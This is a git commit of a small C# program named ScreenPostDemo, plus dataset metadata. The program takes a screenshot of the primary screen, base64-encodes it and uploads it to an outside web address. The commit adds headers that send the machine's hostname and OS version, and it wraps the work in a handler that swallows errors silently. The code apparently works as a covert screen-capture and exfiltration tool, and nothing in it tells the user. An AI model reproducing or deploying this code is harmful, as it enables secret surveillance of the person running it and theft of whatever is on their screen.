<commit_before>﻿using System;
using System.IO;
using System.Text;
using System.Net;
using System.Drawing;
using System.Windows.Forms;

namespace ScreenPostDemo
{
	public class Program
	{
		private static Bitmap CreateBitmap(bool primaryOnly)
		{
			return primaryOnly ?
				new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)
				: new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
		}

		private static byte[] TakeSnapShot(bool primaryOnly)
		{
			using (var ms = new MemoryStream())
			using (Bitmap bitmap = CreateBitmap(true))
			using (Graphics canvas = Graphics.FromImage(bitmap))
			{
				canvas.CopyFromScreen(
					Screen.PrimaryScreen.Bounds.X,
					Screen.PrimaryScreen.Bounds.Y,
					0, 0, bitmap.Size,
					CopyPixelOperation.SourceCopy
				);

				bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Png);

				return ms.ToArray();
			}
		}

		static void Main(string[] args)
		{
			//File.WriteAllBytes(@"Z:\.Trash\kk.png", TakeSnapShot(true));

			var data = Convert.ToBase64String(TakeSnapShot(true));
			var client = new WebClient();

			using (var stream = client.OpenWrite("http://www2.unsec.net/usb/upload.php"))
			{
				var body = Encoding.UTF8.GetBytes(data);
				stream.Write(body, 0, body.Length);
				stream.Flush();
			}
		}
	}
}<commit_msg>Added a couple of informative headers to request<commit_after>﻿using System;
using System.IO;
using System.Text;
using System.Net;
using System.Drawing;
using System.Windows.Forms;

namespace ScreenPostDemo
{
	public class Program
	{
		private static Bitmap CreateBitmap(bool primaryOnly)
		{
			return primaryOnly ?
				new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)
				: new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
		}

		private static byte[] TakeSnapShot(bool primaryOnly)
		{
			using (var ms = new MemoryStream())
			using (Bitmap bitmap = CreateBitmap(true))
			using (Graphics canvas = Graphics.FromImage(bitmap))
			{
				canvas.CopyFromScreen(
					Screen.PrimaryScreen.Bounds.X,
					Screen.PrimaryScreen.Bounds.Y,
					0, 0, bitmap.Size,
					CopyPixelOperation.SourceCopy
				);

				bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Png);

				return ms.ToArray();
			}
		}

		private static void DoWork()
		{
			//File.WriteAllBytes(@"Z:\.Trash\kk.png", TakeSnapShot(true));

			var data = Convert.ToBase64String(TakeSnapShot(true));
			var client = new WebClient();
			client.Headers.Add("X-Dab-HostName", Dns.GetHostName());
			client.Headers.Add("X-Dab-OsVersion", Environment.OSVersion.ToString());

			using (var stream = client.OpenWrite("http://www2.unsec.net/usb/upload.php"))
			{
				var body = Encoding.UTF8.GetBytes(data);
				stream.Write(body, 0, body.Length);
				stream.Flush();
			}
		}

		static void Main(string[] args)
		{
			try
			{
				DoWork();
			}
			catch (Exception ex)
			{
				//Console.WriteLine(ex.ToString());
			}
		}
	}
}
{'fraction_non_alphanumeric': 0.12725450901803606, 'fraction_numerical': 0.004676018704074816, 'mean_word_length': 3.6796875, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 2, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1041689', 'n_tokens_mistral': 1159, 'n_tokens_neox': 952, 'n_words': 187}